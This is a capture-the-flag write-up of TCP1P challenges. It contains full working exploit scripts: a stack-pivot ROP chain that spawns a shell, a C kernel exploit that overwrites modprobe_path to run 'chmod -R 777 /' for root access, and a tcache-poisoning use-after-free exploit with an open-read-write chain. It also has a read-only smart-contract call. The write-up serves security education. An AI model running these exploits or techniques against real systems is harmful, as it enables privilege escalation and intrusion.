Flag: TCP1P{Ojou_sama_no_giggles_cuteness_overload_kawayoooooo!}

Digital Circuit

Description

Author: zran

Hi, I’m back again. Should be easier this time around. (just an extra pwn chall since there’s still a lot of time left)

nc ctf.tcp1p.com 1470

Solution

We were provided with a binary called teleport. Initially, we examine the security mitigations applied to the binary using checksec.

1
2
3
4
5
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Let’s check the disassembly result: cool_thing1

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
unsigned __int64 __fastcall cool_thing1(__int64 a1, int a2, int a3, int a4, int a5, int a6)
{
  int v6; // ecx
  int v7; // r8d
  int v8; // r9d
  unsigned __int64 v10; // [rsp+8h] [rbp-18h] BYREF
  unsigned __int64 v11; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v12; // [rsp+18h] [rbp-8h]

  v12 = __readfsqword(0x28u);
  printf((unsigned int)"Give me two special numbers:\n> ", a2, a3, a4, a5, a6);
  _isoc99_scanf((unsigned int)"%lu %lu", (unsigned int)&v10, (unsigned int)&v11, v6, v7, v8);
  if ( v10 == v11 )
  {
    puts("Different numbers please!");
  }
  else if ( v10 >= 0x80000000 && v11 >= 0x80000000 )
  {
    if ( (_DWORD)v10 == (_DWORD)v11 )
    {
      puts("\nCongrats! Can you explain what's happening here?");
      read(0LL, &anu, 0x10LL);
      cool_thing2();
    }
    else
    {
      puts("Wrong!");
    }
  }
  else
  {
    puts("Too small!");
  }
  return v12 - __readfsqword(0x28u);
}

Reviewing the source code, we see that to bypass the check, we only need to ensure the lower four bytes of our input are the same, while the upper four bytes are different.

cool_thing2

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
unsigned __int64 __fastcall cool_thing2(__int64 a1, int a2, int a3, int a4, int a5, int a6)
{
  int v6; // ecx
  int v7; // r8d
  int v8; // r9d
  __int64 v10; // [rsp+0h] [rbp-40h] BYREF
  __int64 v11; // [rsp+8h] [rbp-38h] BYREF
  char v12[40]; // [rsp+10h] [rbp-30h] BYREF
  unsigned __int64 v13; // [rsp+38h] [rbp-8h]

  v13 = __readfsqword(0x28u);
  printf((unsigned int)"\nGive me another two special numbers:\n> ", a2, a3, a4, a5, a6);
  _isoc99_scanf((unsigned int)"%ld %ld", (unsigned int)&v10, (unsigned int)&v11, v6, v7, v8);
  if ( v10 == v11 )
  {
    puts("Different numbers please!");
  }
  else if ( (float)(int)v10 == *(float *)&v11 )
  {
    ((void (*)(void))cool_thing3)();
    puts("\nWell done hero! What's your name?");
    read(0LL, v12, 0x40LL);
  }
  else
  {
    puts("Wrong!");
  }
  return v13 - __readfsqword(0x28u);
}

To bypass the above check, we can simply use gdb to determine the casting result of our input v10, then convert that casting result to hex and use it as the v11 value. Note that there is a buffer overflow in v12.

cool_thing3

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
unsigned __int64 __fastcall cool_thing3(__int64 a1, int a2, int a3, int a4, int a5, int a6)
{
  int v6; // ecx
  int v7; // r8d
  int v8; // r9d
  int v9; // edx
  int v10; // ecx
  int v11; // r8d
  int v12; // r9d
  double v14; // [rsp+0h] [rbp-20h] BYREF
  double v15; // [rsp+8h] [rbp-18h] BYREF
  char v16[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v17; // [rsp+18h] [rbp-8h]

  v17 = __readfsqword(0x28u);
  printf((unsigned int)"\nGive me one final pair of special numbers:\n> ", a2, a3, a4, a5, a6);
  _isoc99_scanf((unsigned int)"%lf %lf", (unsigned int)&v14, (unsigned int)&v15, v6, v7, v8);
  if ( v14 == v15 )
  {
    puts("Different numbers please!");
  }
  else if ( LODWORD(v14) == LODWORD(v15) )
  {
    puts("\nHorray! Here's a present for you, if you need it...");
    printf((unsigned int)"%ld\n", v17, v9, v10, v11, v12);
    read(0LL, v16, 0x19LL);
  }
  else
  {
    puts("Wrong!");
  }
  return v17 - __readfsqword(0x28u);
}

To bypass the above check, we can actually re-use the number that we used to bypass cool_thing1. However, we need to convert the hex to its double representation first. Note that there is a buffer overflow bug here as well. Additionally, this function provides us with a canary leak. The challenge here is, with the limited size of the overflow we can perform, we need to execute a ROP to spawn a shell.

Now that we’re aware of all the bugs, we need to devise a strategy for exploitation. Our approach is as follows:

  • Write /bin/sh to anu during cool_thing1.
  • Bypass cool_thing2.
  • Bypass cool_thing3. And with the buffer overflow:
    • Pivot RBP to the bss area (let’s refer to it as new_rbp).
  • Return to cool_thing2, where we have a second buffer overflow with a much larger size. Here’s what we do:
    • We place some of our ROP payload in the first 0x28 bytes that we send.
    • Overwrite the RBP to new_rbp+0x40. This is because we want to set up another ROP payload beneath this payload.
    • Overwrite the RIP to cool_thing2+182 to trigger the buffer overflow once more.
  • Repeat these steps until we have placed all of our ROP payload in the initial 0x28 bytes that we sent during each phase.
  • In the final step, pivot the RBP to new_rbp-0x40, so that later, we can jump to our ROP payload.
  • When it jumps to our ROP payload, we will secure a shell.

In a nut shell, the stack layout of the above approaches will be like this:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
ROP_payload_1 (0x28 bytes)
canary
rbp
ret
ROP_payload_2 (0x28 bytes)
canary
rbp
ret
ROP_payload_3 (0x28 bytes)
canary
rbp
ret
...

One important note is that the last 8 byte of our ROP_payload need to pop 3 values, so that we can continue to our next ROP payload.

Below is the full script that we use:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
from pwn import *

context.arch = 'amd64'
context.encoding = 'latin'
context.log_level = 'INFO'
warnings.simplefilter("ignore")

# r = process('./teleport', env={})
r = remote('ctf.tcp1p.com', 1470)

exe = ELF('./teleport')

# Set anu to /bin/sh
x = 0x8100000001
y = 0x8200000001
r.sendlineafter(b'numbers:\n', f'{x} {y}'.encode())
r.sendafter(b'here?', b'/bin/sh\x00')

# Another bypass
x = 0x3f800000
y = 0x4e7e0000
r.sendlineafter(b'numbers:\n', f'{x} {y}'.encode())

# Leak canary
r.sendlineafter(b'numbers:\n', f'2.73737457035e-312 2.71615461244e-312'.encode())
r.recvuntil(b'it...\n')
canary = int(r.recvline().strip()) & (2**64-1)
info(f'{hex(canary) = }')

# Pivot RBP to exe.bss()
new_rbp = 0x4e9100
payload = b'a'*8
payload += p64(canary)
payload += p64(new_rbp)
r.send(payload)

pop_rdi = 0x000000000040251f
pop_rsi = 0x004b569f
pop_rdx_rbx = 0x00000000004a3dcb
pop_rax = 0x004a410a
pop_r13_r14_r15 = 0x004b5c7c
syscall_ret = 0x00497be9

# Why do we need pop_r13_r14_r15? Because we need to throw 3 useless value so that our ROP
# will continue to the next ROP payload that we set in the next read call.
payload = p64(pop_rdi) + p64(exe.sym.anu) + p64(pop_rsi) + p64(0) + p64(pop_r13_r14_r15)
payload += p64(canary)
payload += p64(new_rbp+0x40)
payload += p64(exe.sym.cool_thing2+182) # cool_thing2+182
r.sendafter(b'name?\n', payload)

payload = p64(pop_rax) + p64(0x3b) + p64(pop_rax) + p64(0x3b) + p64(pop_r13_r14_r15)
payload += p64(canary)
payload += p64(new_rbp+0x40*2)
payload += p64(exe.sym.cool_thing2+182) # cool_thing2+182
r.send(payload)

payload = p64(pop_rdx_rbx) + p64(0) + p64(0) + p64(syscall_ret) + b'c'*8
payload += p64(canary)
payload += p64(new_rbp-0x40)
payload += p64(exe.sym.cool_thing2+182) # cool_thing2+182
r.send(payload)

payload = b'd'*0x28
payload += p64(canary)
payload += p64(new_rbp)
payload += p64(pop_rdi+1) # cool_thing2+182
r.send(payload)

r.interactive()

Flag: TCP1P{ju5T_4n0tH3r_p1vOt_ch4LlEn9e}

💀

Description

Author: hyffs

Let him cook

nc ctf.tcp1p.com 10000

Solution

We were given a zip file containing a kernel image bzImage and initramfs.cpio.gz. First, let’s unpack the initramfs.cpio.gz to extract the kernel driver. The kernel driver is located in /lib/modules/6.1.56/cook.ko.

Let’s disassemble the driver. The only function that is interesting is the gyattt_ioctl.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
__int64 __fastcall gyattt_ioctl(__int64 a1, int a2, __int64 a3)
{
  __int64 v5; // rsi
  __int64 v6; // rsi
  __int64 v7; // [rsp+0h] [rbp-20h] BYREF
  __int64 v8; // [rsp+8h] [rbp-18h]
  unsigned __int64 v9; // [rsp+10h] [rbp-10h]

  v9 = __readgsqword(0x28u);
  if ( a2 == 0x6969 )
  {
    if ( copy_from_user(&v7, a3, 0x10LL) )
    {
      printk(&unk_1AE, a3);
      return -14LL;
    }
    else
    {
      v6 = v8;
      if ( !copy_to_user(a3, v8, 8LL) )
        return 0LL;
      printk(&unk_1CB, v6);
      return -14LL;
    }
  }
  else
  {
    if ( a2 != 0xFADE )
      return 0LL;
    if ( copy_from_user(&v7, a3, 16LL) )
    {
      return ((__int64 (*)(void))gyattt_ioctl_cold)();
    }
    else
    {
      v5 = v8;
      if ( !copy_from_user(v7, v8, 8LL) )
        return 0LL;
      printk(&unk_204, v5);
      return -14LL;
    }
  }
}

Looking through the code, we can identify two actions when interacting with the given driver via ioctl:

  • By using the magic number 0x6969, we can read any value from a specified address.
  • With the magic number 0xFADE, we’re able to write any value to our chosen address.

The operation follows the format ioctl(driver_fd, magic_number, &buf), where buf is the value we want to set (restricted to 8 bytes and only during write operations), and buf+8 is the kernel address we aim to read or write.

Given the arbitrary read and write capabilities provided by the driver, crafting an exploit becomes quite straightforward. Our primary goal is to overwrite the modprobe_path with a custom malicious script, enabling us to escalate privileges to root.

It’s important to note that the kernel’s ASLR space is relatively limited. Therefore, with the arbitrary read function, we can actually brute-force the possible kernel_base addresses. Here’s how:

  • We scan the kernel memory, starting from 0xffffffff81000000 and ending at 0xffffffffc0000000, incrementing by 0x100000.
  • Attempt to read the value at curr_addr+modprobe_path_offset with the arbitrary read. If the retrieved value begins with /sbin/m (8 bytes), we’ve successfully recovered the kernel_base.
  • Next, using the arbitrary write, we overwrite this path with our malicious script.

Below is the exploit script we used:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
#define _GNU_SOURCE
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <inttypes.h>
#include <sys/ioctl.h>
#include <sys/msg.h>
#include <sys/shm.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <sys/resource.h>
#include <pthread.h>
#include <sys/mman.h>
#include <poll.h>
#include <time.h>
#include <unistd.h>

void fatal(const char *msg) {
  perror(msg);
  exit(1);
}

// Helper method during debugging
void print_data(char *buf, size_t len) {
  // Try to print data
  for (int i = 0; i < len; i += 8) {
    char* fmt_str;
    if ((i / 8) % 2 == 0) {
      fmt_str = "0x%04x: 0x%016lx";
      printf(fmt_str, i, *(unsigned long*)&buf[i]);
    } else {
      fmt_str = " 0x%016lx\n";
      printf(fmt_str, *(unsigned long*)&buf[i]);
    }
  }
  puts("");
}

int main() {
  puts("Hello World!");
  int fd = open("/dev/cook", O_RDWR);
  char buf[0x10] = { 0 };
  
  // Try to find where is /sbin/modprobe
  unsigned long modprobe_path = 0x0;
  for (unsigned long addr = 0xffffffff81000000; addr <= 0xffffffffc0000000; addr+=0x100000) {
    unsigned long *p = (unsigned long*)&buf;
    *p++ = 0;
    *p++ = addr + 0x1852420;
    ioctl(fd, 0x6969, &buf);
    char *pos = strstr(buf, "/sbin/m");
    if (pos) {
      modprobe_path = addr + 0x1852420;
      printf("FOUND modprobe: 0x%016lx\n", modprobe_path);
      break;
    }
  }

  // Overwrite modprobe
  unsigned long *p = (unsigned long*)&buf;
  char ez[0x8] = "/home/bl";
  *p++ = modprobe_path;
  *p++ = (unsigned long)&ez;
  ioctl(fd, 0xFADE, &buf);
  p = (unsigned long*)&buf;
  char ez2[0x8] = "ud/ez\x00";
  *p++ = modprobe_path+0x8;
  *p++ = (unsigned long)&ez2;
  ioctl(fd, 0xFADE, &buf);

  system("echo -e '#!/bin/sh\nchmod -R 777 /' > /home/blud/ez");
  system("chmod +x /home/blud/ez");
  system("echo -e '\xde\xad\xbe\xef' > /home/blud/pwn");
  system("chmod +x /home/blud/pwn");
  system("/home/blud/pwn");
  system("/bin/sh");
  puts("");
  getchar();
}

The malicious script we use executes chmod -R 777 /, allowing any user to read files under the /root directory. Below is the script we use to upload the compiled binary:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *

context.arch = 'amd64'
context.encoding = 'latin'
context.log_level = 'INFO'
warnings.simplefilter("ignore")

is_root = False
r = remote('ctf.tcp1p.com', 10000)
def run(cmd):
    ch = b'# '
    if not is_root:
        ch = b'$ '
    r.sendlineafter(ch, cmd)
    return r.recvline()

def upload_payload(filepath):
    with open(filepath, 'rb') as f:
        payload = base64.b64encode(f.read()).decode()    
    for i in range(0, len(payload), 512):
        print(f'Uploading... {i:x} / {len(payload):x}')
        run(f'echo "{payload[i:i+512]}" >> b64exp'.encode())
    run(b'base64 -d b64exp > exploit')
    run(b'rm b64exp')
    run(b'chmod +x exploit')
upload_payload('exploit')
r.interactive()

Running the above script, we will be able to read any files under /.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
blud@tcp1p:~$ ./exploit
./exploit
Hello World!
[   44.416653] Invalid address to load
[   44.417229] Invalid address to load
FOUND modprobe: 0xffffffffb5452420
/home/blud/pwn: line 1: ޭ��: not found
blud@tcp1p:~$ ls /root
ls /root
flag
blud@tcp1p:~$ cat /root/flag
cat /root/flag
TCP1P{WHY_DID_YALL_LET_HIM_COOK_!!!!😭😭😭}

Flag: TCP1P{WHY_DID_YALL_LET_HIM_COOK_!!!!😭😭😭}

tickery

Description

Author: yqroo

is this pwn chall?

nc ctf.tcp1p.com 49999

Solution

In this challenge, we were given a binary called main and libc.so.6. Let’s start by disassemble the binary.

main

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // [rsp+1Ch] [rbp-14h] BYREF
  __int64 v4; // [rsp+20h] [rbp-10h]
  unsigned __int64 v5; // [rsp+28h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  init(argc, argv, envp);
  seccomp_rules(argc);
  puts("ticket??");
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      printf("> ");
      __isoc99_scanf("%d%*c", &v3);
      if ( v3 != 3 )
        break;
      v4 = ticketid(prompt);
      refund(v4);
    }
    if ( v3 > 3 )
      break;
    if ( v3 == 1 )
    {
      v4 = ticketid(prompt);
      order(v4);
    }
    else
    {
      if ( v3 != 2 )
        break;
      v4 = ticketid(prompt);
      verify(v4);
    }
  }
  puts("nono\n");
  _exit(0);
}

order

1
2
3
4
5
6
ssize_t __fastcall order(__int64 a1)
{
  *((_QWORD *)&TICKET + a1) = malloc(0x20uLL);
  printf("Name : ");
  return read(0, *((void **)&TICKET + a1), 0x20uLL);
}

verify

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
unsigned __int64 __fastcall verify(__int64 a1)
{
  void *v1; // rsp
  __int64 v3; // [rsp+8h] [rbp-40h] BYREF
  __int64 v4; // [rsp+10h] [rbp-38h]
  __int64 v5; // [rsp+20h] [rbp-28h]
  void *buf; // [rsp+28h] [rbp-20h]
  unsigned __int64 v7; // [rsp+30h] [rbp-18h]

  v4 = a1;
  v7 = __readfsqword(0x28u);
  v5 = 31LL;
  v1 = alloca(32LL);
  buf = &v3;
  if ( *((_QWORD *)&TICKET + a1) )
  {
    puts("Please Confirm !");
    printf("Your seat %lu\n", v4);
    printf("please say your name for confirmation : ");
    read(0, buf, 0x20uLL);
    sub_1450((const char *)buf);
    if ( !strcmp(*((const char **)&TICKET + v4), (const char *)buf) )
    {
      puts("This ticket has been verified, for your own safety please change the ticket name");
      printf("New name : ");
      read(0, *((void **)&TICKET + v4), 0x20uLL);
    }
    else
    {
      printf("Sorry sir this ticket belongs to %s", *((const char **)&TICKET + v4));
      *((_QWORD *)&TICKET + v4) = 0LL;
    }
  }
  else
  {
    puts("This seat is available, you are free to order this one");
  }
  return v7 - __readfsqword(0x28u);
}

refund

1
2
3
4
5
6
7
int __fastcall refund(__int64 a1)
{
  if ( !*((_QWORD *)&TICKET + a1) )
    return puts("This seat is available, you are free to order this one");
  free(*((void **)&TICKET + a1));
  return puts("ok");
}

Reviewing the provided code, we summarize its functionality as follows:

  • order: Creates a new ticket with a fixed chunk size of 0x20, which is not under our control.
  • verify: Allows editing of an existing ticket.
  • refund: Deletes a ticket.

Additionally, the binary has seccomp restrictions enforcing that only open, read, and write syscalls are permissible, eliminating the possibility of spawning a shell.

We’ve identified a Use-After-Free vulnerability in the refund function, where the TICKET structure isn’t cleared post-deletion. With this insight, our exploitation strategy encompasses the following steps:

  • Leak the heap address by exploiting the Use-After-Free vulnerability, allowing us to gather valuable information about memory layout.
  • Leak the libc address, essential for bypassing ASLR and potentially manipulating function pointers within libc.
  • Leak the stack address to understand the precise stack layout, preparing for a potential Return-Oriented Programming (ROP) exploit.
  • Execute the open-read-write sequence, as these are the only syscalls allowed, focusing our exploit path. This strategy doesn’t involve spawning a shell but rather reading sensitive information or writing our payload into executable memory.

Leak libc address

Typically, we might leak a libc address by filling up the tcache for large-size chunks. However, our limitation is that we can only invoke malloc(0x20). This constraint led us to the following strategy:

  • Engage in tcache poisoning, allowing us to redirect our new chunk towards the tcache metadata (which is located in the start of the heap area).
    • We aim for the count metadata corresponding to each bin size.
  • Then, we adjust the count to 7 to max it out.
    • In this challenge, I adjusted the 0xc0 size counter to 7.
  • Subsequently, we perform another tcache poisoning to create a new chunk that overlaps an existing chunk header.
  • We overwrite the chunk size to 0xc0.
  • Upon freeing it, the chunk, now situated in the unsorted bin, carries the libc address of main_arena.

Notes that to do the the tcache poisoning, we can simply use the verify function to modify the pointer pointed by the tcache chunk. However, noticed that during the overwrite process via verify, our input must pass the sub_1450(input) function to match the value stored in the targeted ticket. I simply replicated the function using z3 to fetch what value that I need to put to pass the check.

Leak stack address

With the libc leak in hand and considering seccomp restrictions, we opted for ROP, which means we need a stack leak. We achieved this by directing a tcache poison towards environ and extracting its value.

Execute open-read-write

Having the stack leak, our next challenge was gaining RIP control. We came out with the following strategy:

  • Note that a chunk is allocated within the order function.
  • Utilize the stack leak to predict the stack address for the stored RIP within the order function’s stack frame.
  • If our offset prediction is accurate, we gain RIP control when allocating the chunk inside the order function.
  • Given the 0x20 size constraint, we can extend our control by invoking gets().
  • Subsequently, we can launch our attack sequence accordingly.

Below is the complete script embodying our approach:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
from pwn import *
from ctypes import CDLL
from ctypes.util import find_library
from z3 import *

libc_dll = CDLL(find_library("c"))

exe = ELF("main_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-2.37.so")

context.binary = exe
context.arch = 'amd64'
context.encoding = 'latin'
context.log_level = 'INFO'
warnings.simplefilter("ignore")

remote_url = "ctf.tcp1p.com"
remote_port = 49999
gdbscript = '''
'''

def conn():
    if args.LOCAL:
        r = process([exe.path])
        if args.PLT_DEBUG:
            # gdb.attach(r, gdbscript=gdbscript)
            pause()
    else:
        r = remote(remote_url, remote_port)

    return r

def demangle(val, is_heap_base=False):
    if not is_heap_base:
        mask = 0xfff << 52
        while mask:
            v = val & mask
            val ^= (v >> 12)
            mask >>= 12
        return val
    return val << 12

def mangle(heap_addr, val):
    return (heap_addr >> 12) ^ val

def enc(target_val):
    s = Solver()
    curr_val = [BitVec(f'x{i}', 64) for i in range(len(target_val))]
    for i in range(len(target_val)):
        s.add(curr_val[i] <= 255)
        s.add(curr_val[i] >= 0)

    v5 = len(curr_val)
    for i in range(v5):
        curr_val[i] = (curr_val[i] ^ libc_dll.rand()) % 2**8    

    # v2 = sub_14010(curr_val)
    v3 = 0
    for i in range(len(target_val)):
        v3 = ((v3 << 8) + curr_val[i]) % 2**64
    v2 = v3

    v6 = libc_dll.rand() % v5
    for _ in range(v6):
        v2 ^= (v2 >> 1)

    v7 = len(target_val)

    # res = sub_1420(v2, curr_val, v7)
    for i in range(v7):
        curr_val[i] = (v2 % 2**8)
        s.add(curr_val[i] == target_val[i])
        v2 >>= 8

    # Check sat
    out = s.check()
    if out == sat:
        s_m = s.model()
        arr = []
        for i in range(len(target_val)):
            arr.append(s_m[BitVec(f'x{i}', 64)].as_long())
        return bytes(arr)
    else:
        print('FAILED ENC')
        exit()

while True:
    libc_dll.srand(0)
    libc.address = 0x0
    try:
        r = conn()

        def order(num, val):
            r.sendlineafter(b'> ', b'1')
            r.sendlineafter(b'Number : ', str(num).encode())
            r.sendafter(b'Name : ', val)

        def verify(num, _old_name, new_name, upd=False, inz=False):
            old_name = enc(_old_name)
            r.sendlineafter(b'> ', b'2')
            r.sendlineafter(b'Number : ', str(num).encode())
            r.sendafter(b'confirmation : ', old_name)
            if inz:
                r.interactive()
            if upd:
                r.sendafter(b'name : ', new_name)
            else:
                r.recvuntil(b'belongs to ')
                out = r.recvuntil(b'1.')[:-2]
                return out

        def refund(num):
            r.sendlineafter(b'> ', b'3')
            r.sendlineafter(b'Number : ', str(num).encode())
            

        '''
        Strategy on leaking libc:
        1. Tcache poison, allocate a chunk to tcache counters
        2. With verify, change its counter to max size
        3. Tcache poison, allocate a chunk to active chunk header
        4. With verify, change its content to larger chunk size
        5. Free, we get libc leak
        '''

        # Try to leak heap
        for i in range(2):
            order(i, b'a'*8)
        order(i+1, b'b'*8)
        for i in range(2):
            refund(i)
        # pause()
        out = verify(1, b'a', b'')
        leaked_heap = demangle(u64(out.ljust(8, b'\x00')))
        info(f'{hex(leaked_heap) = }')

        # Try to leak libc
        for i in range(3, 5):
            order(i, b'b'*8)
        for i in range(2, 4):
            refund(i)

        ## Poison tcache counter of 0xa0 at leaked_heap-0x1e10
        tcache_ctr_a0 = leaked_heap-0x1e10
        old = p64(mangle(leaked_heap, leaked_heap+0x60))[:6]
        new = p64(mangle(leaked_heap, leaked_heap-0x1e10))[:6]
        out = verify(3, old, new, upd=True)
        # pause()
        order(0, b'a'*8)
        order(0, p16(0x7)*3) # 0xc0 should be full

        ## Poison this chunk header
        for i in range(6):
            order(i, b'c'*8)
        for i in range(6,9):
            order(i, b'd'*8)
        refund(6)
        refund(7)
        old = p64(mangle(leaked_heap, leaked_heap+0x1b0)+1)[:6]
        info(f'{old = }')
        new = p64(mangle(leaked_heap, leaked_heap+0x80)+1)[:6]
        out = verify(7, old, new, upd=True)
        order(1, b'a'*8)
        order(1, p64(0)+p64(0xc1)) # Now order 0 is 0xc0 chunk
        refund(0) # free, because full, it will contains libc
        out = verify(0, b'a', b'')
        info(f'{out = }')
        leaked_libc = u64(out.ljust(8, b'\x00'))
        libc.address = leaked_libc - (libc.sym.main_arena+96)
        info(f'{hex(libc.address) = }')

        # Time to leak stack address
        environ = libc.sym.environ
        order(0, b'a'*8)
        order(1, b'a'*8)
        order(2, b'a'*8)
        refund(0)
        refund(1)
        old = p64(mangle(leaked_heap, leaked_heap+0x90))[:6]
        info(f'{old = }')
        new = p64(mangle(leaked_heap, environ))[:6]
        out = verify(1, old, new, upd=True)
        order(0, b'a'*8)
        order(1, b'a')
        out = verify(1, b'a', b'')
        info(f'{out = }')
        leaked_stack = u64(out.ljust(8, b'\x00')) - 0x61
        info(f'{hex(leaked_stack) = }')

        # Try to ROP
        info(f'TRY TO ROP')
        order(0, b'a'*8)
        order(1, b'a'*8)
        order(2, b'a'*8)
        refund(0)
        refund(1)
        old = p64(mangle(leaked_heap, leaked_heap+0x120)+1)[:6]
        info(f'{old = }')
        order_stack_rip = leaked_stack-0xe0
        new = p64(mangle(leaked_heap, order_stack_rip)+1)[:6]
        out = verify(1, old, new, upd=True)
        order(0, b'flag.txt\x00') # leaked_heap+0x240

        pop_rdi = libc.address + 0x00000000000240e5
        payload = p64(0) + p64(pop_rdi) + p64(order_stack_rip) + p64(libc.sym.gets)
        order(1, payload)

        # ROP CHAIN
        pop_rdi = libc.address + 0x240e5
        pop_rdx = libc.address + 0x26302
        pop_rsi = libc.address + 0x2573e
        pop_rax = libc.address + 0x400f3
        syscall = libc.address + 0x8bee6
        payload = b'a'*0x20

        # open(flag.txt, O_RDONLY)
        payload += p64(pop_rdi) + p64(leaked_heap+0x240) + p64(pop_rsi) + p64(0) + p64(pop_rdx) + p64(0x0) + p64(pop_rax) + p64(2) + p64(syscall)

        # read(3, buff, 0x200)
        payload += p64(pop_rdi) + p64(5) + p64(pop_rsi) + p64(leaked_heap) + p64(pop_rdx) + p64(0x200) + p64(pop_rax) + p64(0) + p64(syscall)

        # write(1, buf, 0x200)
        payload += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(leaked_heap) + p64(pop_rdx) + p64(0x200) + p64(pop_rax) + p64(1) + p64(syscall)

        r.sendline(payload)
        r.interactive()
    except:
        print(f'SAD')

**Flag: **

Blockchain

Venue

Description

Author: Kiinzu

Look at the Amazing Party Venue So do you wish to enter?

contract: 0x1AC90AFd478F30f2D617b3Cb76ee00Dd73A9E4d3

provider: https://eth-sepolia.g.alchemy.com/v2/SMfUKiFXRNaIsjRSccFuYCq8Q3QJgks8

Priv-Key: Please use your own private-key, if you need ETH for transact, You can either DM the Author, or get it by yourself at https://sepoliafaucet.com/

Solution

In this challenge, we were given two files called Venue.sol and 101.txt. Another thing is that in the challenge description, we also given the provider and contract address.

Looking through the Venue.sol:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;

contract Venue{
    string private flag;
    string private message;

    constructor(string memory initialFlag, string memory initialMessage){
        flag = initialFlag;
        message = initialMessage;
    }

    function enterVenue() public view returns(string memory){
        return flag;
    }

    function goBack() public view returns(string memory){
        return message;
    }
}

Looking through the above source code, we can see that the deployed contract has a public method called enterVenue(), which will return the flag.

In EVM, there are two kind of invocation that we can do to interact with a contract:

  • call
    • A read-only operation that executes a contract function locally without altering the blockchain state. It’s used to query or test functions and doesn’t require gas since it doesn’t create a transaction on the blockchain.
  • transaction
    • A write operation that alters the blockchain state (such as updating variables, transferring ETH, or contract deployment). It requires gas and confirmation by the network, and the changes are permanently recorded on the blockchain.

Observed that for this challenge, we don’t actually need to do any write operation, as the goal is to call the enterVenue() function. Hence, we do not need any private key to do it.

We can use the help of foundry to interact with the contract (Installation can be found in here).

Below is the command that we can use to call the enterVenue() function.

1
2
cast call 0x1AC90AFd478F30f2D617b3Cb76ee00Dd73A9E4d3 "enterVenue()" -r https://eth-sepolia.g.alchemy.com/v2/SMfUKiFXRNaIsjRSccFuYCq8Q3QJgks8
0x0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002c54435031507b64305f336e6a30795f7468335f70347274795f6275375f3472335f7930755f345f5649503f7d0000000000000000000000000000000000000000

As you can see, we received a hex response from the call, which will be decoded into a flag. Simply decode it using your favourite tool.

1
2
3
In [2]: bytes.fromhex('0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002c54435031507b64305f336e6a3
   ...: 0795f7468335f70347274795f6275375f3472335f7930755f345f5649503f7d0000000000000000000000000000000000000000')
